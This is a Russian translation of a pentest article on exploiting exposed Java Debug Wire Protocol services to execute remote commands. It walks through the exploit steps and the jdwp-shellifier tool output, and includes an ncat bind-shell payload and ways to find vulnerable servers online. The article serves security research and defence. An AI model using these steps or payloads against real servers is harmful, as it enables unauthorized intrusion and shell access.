Удаленное выполнение кода в Java Debug Wire Protocol

Удаленное выполнение кода в Java Debug Wire Protocol

В этой статье будет рассказана история о том, как я столкнулся с интересным протоколом и реализовал надежный метод удаленного выполнения кода. Мы коснемся некоторых деталей внутреннего устройства протокола Java Debug Wire Protocol (JDWP) и того, как, используя их, можно выполнить код. В конце у нас будет надежный и универсальный скрипт для решения этой задачи.

Автор: Кристоф Алладум (Christophe Alladoum) – @_hugsy_

В этой статье будет рассказана история о том, как я столкнулся с интересным протоколом и реализовал надежный метод удаленного выполнения кода. Мы коснемся некоторых деталей внутреннего устройства протокола Java Debug Wire Protocol (JDWP) и того, как, используя их, можно выполнить код. В конце у нас будет надежный и универсальный скрипт для решения этой задачи.

Предупреждение: все техники и код, представленные в этой статье, не следует использовать без предварительного разрешения. Автор не несет никакой ответственности за последствия от несанкционированного использования данной информации

Примечание: во время исследования протокола JDWP я столкнулся с двумя статьями, касающимися этой темы (см. [5] (на французском языке) и [6]). Материалы весьма полезные, однако, не думайте, что само по себе глубокое понимание протокола позволит вам сделать что-нибудь интересное (читай, написать эксплоит). В этом посте не будет рассказываться об уязвимостях нулевого дня, но сама тема раскрывается с точки зрения с точки зрения пентестера/хакера.

Java Debug Wire Protocol

Java Platform Debug Architecture (JPDA)

Протокол JDWP – один из компонентов общей системы отладки под названием Java Platform Debug Architecture (JPDA)[2]. На диаграмме ниже показана общая архитектура системы:

Рисунок 1: Компоненты Java Platform Debug Architecture

Компонент Debuggee содержит многопоточную JVM (Java Virtual Machine), на которой запущено целевое приложение. Для удаленной отладки приложения при запуске JVM-инстанса в командной строке следует указать ключи -Xdebug и –Xrunjdwp.

К примеру, запущенный сервер Tomcat с возможностью удаленной отладки будет выглядеть так:

Рисунок 2: Запущенный сервер Tomcat с возможностью удаленной отладки

На Рисунке 1 видно, что Java Debug Wire Protocol соединяет отладчик и JVM-инстанс. Вот что известно об этом протоколе:

  • JDWP – пакетный сетевой двоичный протокол (packet-based network binary protocol).
  • JDWP – по большей части синхронный протокол. Отладчик посылает команду и ожидает ответа. Некоторые команды (например, события) не ожидают синхронного ответа. Они отсылают ответ только при выполнении определенных условий. Пример события – срабатывание точки останова.
  • В JDWP не используется аутентификация.
  • В JDWP не используется шифрование.
  • Все вышеупомянутые свойства вполне целесообразны для протокола отладки. Однако если к подобному сервису есть доступ из внешней и недружественной среды (например, из интернета), могут возникнуть проблемы.

Схема установления связи

Согласно спецификации JDWP [9] коммуникация инициируется простейшим образом. После успешного установления TCP-соединения Клиент (Debugger) отсылает текстовую 14-ти символьную строку «JDWP-Handshake» (в формате ASCII). Сервер (Debuggee) отсылает тот же самый ответ. Ниже показан лог, полученный при помощи утилиты scapy [3], первоначального сеанса установления связи.

root:~/tools/scapy-hg # ip addr show dev eth0 | grep "inet "
inet 192.168.2.2/24 brd 192.168.2.255 scope global eth0
root:~/tools/scapy-hg # ./run_scapy


Welcome to Scapy (2.2.0-dev)
>>> sniff(filter="tcp port 8000 and host 192.168.2.9", count=8)
<Sniffed: TCP:9 UDP:1 ICMP:0 Other:0>
>>> tcp.hexraw()
0000 15:49:30.397814 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 S
0001 15:49:30.402445 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 SA
0002 15:49:30.402508 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A
0003 15:49:30.402601 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake
0004 15:49:30.407553 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0005 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 A
0006 15:49:30.407557 Ether / IP / TCP 192.168.2.9:8000 > 192.168.2.2:59079 PA / Raw
0000 4A 44 57 50 2D 48 61 6E 64 73 68 61 6B 65 JDWP-Handshake

0007 15:49:30.407636 Ether / IP / TCP 192.168.2.2:59079 > 192.168.2.9:8000 A

Опытный специалист по безопасности, возможно, уже понял, что подобная схема позволяет легко выявить рабочий JDWP-сервис в интернете путем отсылки простейшего текстового запроса анализа ответа.

Более того, в IBM Java Development Kit описан способ сканирования при помощи ShodanHQ[4], позволяющий обнаружить рабочий JDWP-сервис в полностью пассивном режиме (подробнее об этом будет рассказано позже).

Схема коммуникации

В JDWP определен формат сообщений [10], используемый при коммуникации между Клиентом и Сервером.

Формат сообщения следующий:

Рисунок 3: Формат сообщений, используемых при общении между Клиентом и Сервером

Полагаю, что смысл полей Length и Id не нуждается в объяснении. Поле Flag используется лишь для того, чтобы различить пакеты запросов и ответов. Значение 0x80 соответствует пакетам, которые отсылает сервер. Поле CommandSet обозначает категорию команды, как показано в таблице ниже:

Значение CommandSet

Команда

0x40

Действия будут предприняты на JVM (например, установка точка останова).

0x40–0x7F

Предоставляется информация о возникновении события (например, на JVM сработала точка останова)

0x80

Сторонние расширения

Учитывая то, что мы хотим выполнить произвольный код, нам будут особенно интересны следующие команды:

  • VirtualMachine/IDSizes определяет размер структур данных, обрабатываемых JVM. Это одна из причин, почему скрипт jdwp-exec.nse [11] в nmap не работает (в нем используются жестко заданные размеры).
  • ClassType/InvokeMethod позволяет выполнять статические функции.
  • ObjectReference/InvokeMethod позволяет выполнять функции из экземпляра объекта в JVM.
  • Event/Composite заставляет JVM работать в специальных режимах, заданных этой командой. Команда является одной из ключевых при отладке, поскольку, помимо всего прочего, позволяет устанавливать точки останова и выполнять пошаговое выполнение кода сквозь потоки. Кроме того, во время доступа/изменения переменных появляются уведомления как в стандартных отладчиках (GDB, WinDBG).

JDWP позволяет не только получать доступ и выполнять методы объектов, уже находящихся в памяти, но и создавать и перезаписывать данные.

  • VirtualMachine/CreateString позволяет трансформировать строку в java.lang.String в режиме реального времени.
  • VirtualMachine/RedefineClasses позволяет создавать новое определение класса.

Алгоритм работы эксплоита

Как было сказано ранее, в JDWP есть встроенные команды для загрузки произвольных классов в память JVM и выполнения уже существующего и/или только что загруженного байт-кода. Далее мы рассмотрим по шагам создание на языке Python кода эксплоита, функционирующего для большей надежности как часть JDI фронтенда. Теперь, когда мы изучили теорию, приступим к практической части.

При работе с JDWP-сервисом произвольный код выполняется в пять шагов (или при помощи эксплоита в один шаг).

1. Получение ссылки на Java Runtime

JVM оперирует объектам при помощи ссылок. По этой причине наш эксплоит должен получить ссылку на класс java.lang.Runtime. Затем нам нужна ссылка на метод getRuntime(). Нужные ссылки достаются из списка всех классов (используется пакет AllClasses) и списка всех методов определенного класса (используется пакет ReferenceType/Methods).

2. Установка точки останова и ожидание уведомления (асинхронные вызовы)

В этом заключается суть работы эксплоита. Чтобы запустить произвольный код мы должны быть внутри контекста рабочего потока. Для этого мы устанавливаем точку останова на методе, который точно запустится во время выполнения. Ранее упоминалось, что брекпоинт в JDI представляет собой асинхронное событие с типом BREAKPOINT(0x02). Во время срабатывания точки останова JVM отсылает отладчику пакет EventData, содержащий идентификатор точки останова (ID) и, что более важно, ссылку на поток, в котором она сработала.

Рисунок 4: Выдержка из документации Oracle

Хорошей идеей было бы установить точку останова на часто вызываемый метод, например, на java.net.ServerSocket.accept(), который весьма вероятно вызывается каждый раз, когда сервер получает новое соединение. Однако можно использовать любой другой метод, вызываемый во время выполнения.

3. Размещение объекта Java String, необходимого для выполнения полезной нагрузки, в среде выполнения

Код запускается в среде выполнения JVM, так что все наши данные (в том числе и строки) должны также быть там (то есть, содержать ссылку на среду выполнения). Делается при помощи команды CreateString.

Рисунок 5: Создание строки

4. Получение ссылки на объект Runtime из контекста точки останова

Теперь у нас есть почти все составляющие для эксплоита. Осталось только получить ссылку на объект Runtime. Делается это при помощи вызова статического метода java.lang.Runtime.getRuntime() [8] посредством отсылки пакета ClassType/InvokeMethod и использованием ссылок на поток и класс Runtime.

5. Поиск и запуск метода exec() в экземпляре класса Runtime

Последний шаг – поиск и запуск метода exec() в статическом объекте Runtime, полученном в предыдущем шаге (отсылается пакет ObjectReference/InvokeMethod) вместе с объектом String, созданного нами в третьем шаге.

Рисунок 6: Формирование данных и запуск метода

В качестве демонстрации работы эксплоита, запустим Tomcat вместе с JPDA в отладочном режиме (debug mode):

root@pwnbox:~/apache-tomcat-6.0.39# ./bin/catalina.sh jpda start

Проверяем скрипт на ОС Mac OS X. Полезная нагрузка не используется. Задача – просто получить информацию о системе:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.9
[+] Targeting '192.168.2.9:8000'
[+] Reading settings for 'Java HotSpot(TM) 64-Bit Server VM - 1.6.0_65'
[+] Found Runtime class: id=466
[+] Found Runtime.getRuntime(): id=7facdb6a8038
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
## Here we wait for breakpoint to be triggered by a new connection ##
[+] Received matching event from thread 0x8b0
[+] Found Operating System 'Mac OS X'
[+] Found User name 'pentestosx'
[+] Found ClassPath '/Users/pentestosx/Desktop/apache-tomcat-6.0.39/bin/bootstrap.jar'
[+] Found User home directory '/Users/pentestosx'
[!] Command successfully executed

Проверяем скрипт на ОС Windows. При установке точки останова используется другой метод (указывается в параметре скрипта):

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 --break-on 'java.lang.String.indexOf'
[+] Targeting '192.168.2.8:8000'
[+] Reading settings for 'Java HotSpot(TM) Client VM - 1.7.0_51'
[+] Found Runtime class: id=593
[+] Found Runtime.getRuntime(): id=17977a9c
[+] Created break event id=2
[+] Waiting for an event on 'java.lang.String.indexOf'
[+] Received matching event from thread 0x8f5
[+] Found Operating System 'Windows 7'
[+] Found User name 'hugsy'
[+] Found ClassPath 'C:\Users\hugsy\Desktop\apache-tomcat-6.0.39\bin\bootstrap.jar'
[+] Found User home directory 'C:\Users\hugsy'
[!] Command successfully executed

В Linux используем полезную нагрузку «ncat -e /bin/bash -l -p 1337», чтобы организовать доступ через шелл:

hugsy:~/labs % python2 jdwp-shellifier.py -t 192.168.2.8 --cmd 'ncat -l -p 1337 -e /bin/bash'
[+] Targeting '192.168.2.8:8000'
[+] Reading settings for 'OpenJDK Client VM - 1.6.0_27'
[+] Found Runtime class: id=79d
[+] Found Runtime.getRuntime(): id=8a1f5e0
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
[+] Received matching event from thread 0x82a
[+] Selected payload 'ncat -l -p 1337 -e /bin/bash'
[+] Command string object created id:82b
[+] Runtime.getRuntime() returned context id:0x82c
[+] found Runtime.exec(): id=8a1f5fc
[+] Runtime.exec() successful, retId=82d
[!] Command successfully executed

Трюк сработал, и теперь у нас есть сокет в режиме прослушивания!

root@pwnbox:~/apache-tomcat-6.0.39# netstat -ntpl | grep 1337
tcp 0 0 0.0.0.0:1337 0.0.0.0:* LISTEN 19242/ncat
tcp6 0 0 :::1337 :::* LISTEN 19242/ncat

То же самое для MacOSX:

pentests-Mac:~ pentestosx$ lsof | grep LISTEN
ncat 4380 pentestosx 4u IPv4 0xffffff800c8faa40 0t0 TCP *:menandmice-dns (LISTEN)

Полную версию скрипта можно найти в разделе Ссылки [1].

В конечной версии скрипта добавлено несколько проверок и отсылка дополнительных сигналов (suspend/resume) для того, чтобы приложение, с которым мы взаимодействуем, работал как можно стабильнее. Возможны два режима:

  • «Default» - режим, в котором выполняется простейший Java-код для получения информации о локальной системе (можно использовать для доказательства того, что уязвимость существует).
  • Использование с опцией «cmd» позволяет запускать команды на удаленной системе с привилегиями, с которыми запущена JVM.

Скрипт был успешно протестирован на:

  • Oracle Java JDK 1.6 and 1.7
  • OpenJDK 1.6
  • IBM JDK 1.6

Команды могут запускаться в любой операционной системе, где есть Java.

Для пентестеров работающий JDWP-сервис можно использовать как надежный инструмент дистанционного управления (Remote Control Equipment, RCE).

Как обстоят дела в реальной жизни?

Протокол JDWP используется во множестве систем по всему миру, но пентестеры могут и не сталкиваться с ним из-за того, что фаерволы блокируют соответствующий порт. Однако это не означает, что JDWP нельзя найти в «дикой природе»:

  • На момент написания статьи (23 апреля 2014 года) быстрый поиск при помощи ShodanHQ [4] дал около 40 серверов, «пожимающих руки» по протоколу JDWP.

Рисунок 7: Список уязвимых серверов, найденных при помощи утилиты ShodanHQ

Находка весьма интересная, поскольку согласно спецификации на протокол, допустима инициация диалога со стороны клиента (отладчика).

  • На GitHub [7] также присутствует большое количество потенциально уязвимых приложений с открытым кодом:

Рисунок 8: Перечень потенциально уязвимых приложений

  • Массовое сканирование хостов по определенным портам (tcp/8000, tcp/8080, tcp/8787, tcp/5005) выявило много сервисов, отвечающих на первоначальный запрос.
  • Были найдены корпоративные приложения с запущенным JDWP-сервисом *по умолчанию* (поиск конкретных портов остается в качестве домашнего задания для самых любознательных читателей).

Существует всего несколько способов, чтобы найти открытый JDWP-сервис в интернете, и это отличная памятка при разработке приложений, которые должны проходить тестирование на безопасность. В боевых системах любые отладочные функции следует отключать, а фаерволы должны быть сконфигурированы так, чтобы доступ к отладочным сервисам был ограничен.

Надеюсь, вам понравилась эта статья, и вы получили удовольствие от экспериментов с протоколом JDWP.

Благодарности

Хотел бы выразить благодарность Илье Ван Спрунделу (Ilja Van Sprundel) и Себастьяну Макке (Sebastien Macke) за их идеи и помощь при тестировании.

Ссылки

  1. https://github.com/IOActive/jdwp-shellifier
  2. http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html
  3. http://www.secdev.org/projects/scapy
  4. http://www.shodanhq.com/search?q=JDWP-HANDSHAKE
  5. http://www.hsc-news.com/archives/2013/000109.html
  6. http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt
  7. https://github.com/search?q=-Xdebug+-Xrunjdwp&type=Code&ref=searchresults
  8. http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html
  9. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html
  10. http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html
  11. http://nmap.org/nsedoc/scripts/jdwp-exec.html

Ваша приватность умирает красиво, но мы можем спасти её.

Присоединяйтесь к нам!